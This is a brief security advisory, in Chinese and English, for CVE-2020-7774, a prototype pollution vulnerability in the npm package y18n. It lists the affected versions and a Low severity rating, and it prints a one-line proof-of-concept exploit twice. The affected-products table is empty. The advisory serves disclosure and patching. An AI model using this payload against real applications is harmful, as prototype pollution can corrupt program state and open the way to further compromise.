摘要:
This affects the package y18n before 3.2.2, 4.0.1 and 5.0.5. PoC by po6ix: const y18n = require( y18n )(); y18n.setLocale( proto ); y18n.updateLocale({polluted: true}); console.log(polluted); // true.
安全等级: Low
公告ID: KylinSec-SA-2022-1635
发布日期: 2022年7月22日
关联CVE: CVE-2020-7774
This affects the package y18n before 3.2.2, 4.0.1 and 5.0.5. PoC by po6ix: const y18n = require( y18n )(); y18n.setLocale( proto ); y18n.updateLocale({polluted: true}); console.log(polluted); // true.
| cve名称 | 产品 | 组件 | 是否受影响 |
|---|
